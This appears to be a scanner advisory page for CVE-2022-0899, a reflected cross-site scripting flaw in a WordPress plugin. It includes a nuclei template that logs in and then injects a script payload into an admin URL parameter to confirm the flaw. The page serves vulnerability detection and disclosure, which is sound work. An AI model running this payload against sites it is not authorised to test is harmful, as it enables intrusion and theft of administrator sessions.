Header Footer Code Manager < 1.1.24 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.

Impact

Authenticated attackers can inject malicious JavaScript via reflected XSS in URL parameters, potentially stealing administrator session cookies or performing administrative actions.

Fix

Upgrade to Header Footer Code Manager version 1.1.24 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script>
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<script>alert(/document.domain/)</script>") and contains(body_2, "All Snippets")

Run it with nuclei: nuclei -id CVE-2022-0899 -u <target>

The full check

id: CVE-2022-0899

info:
  name: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
  impact: |
    Authenticated attackers can inject malicious JavaScript via reflected XSS in URL parameters, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Upgrade to Header Footer Code Manager version 1.1.24 or later.
  reference:
    - https://wpscan.com/vulnerability/1772417a-1abb-4d97-9694-1254840defd1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0899
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0899
    cwe-id: CWE-79
    epss-score: 0.01284
    epss-percentile: 0.70343
    cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draftpress
    product: header_footer_code_manager
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve2022,cve,wpscan,wp,wp-plugin,wordpress,xss,authenticated,draftpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(/document.domain/)</script>")'
          - 'contains(body_2, "All Snippets")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from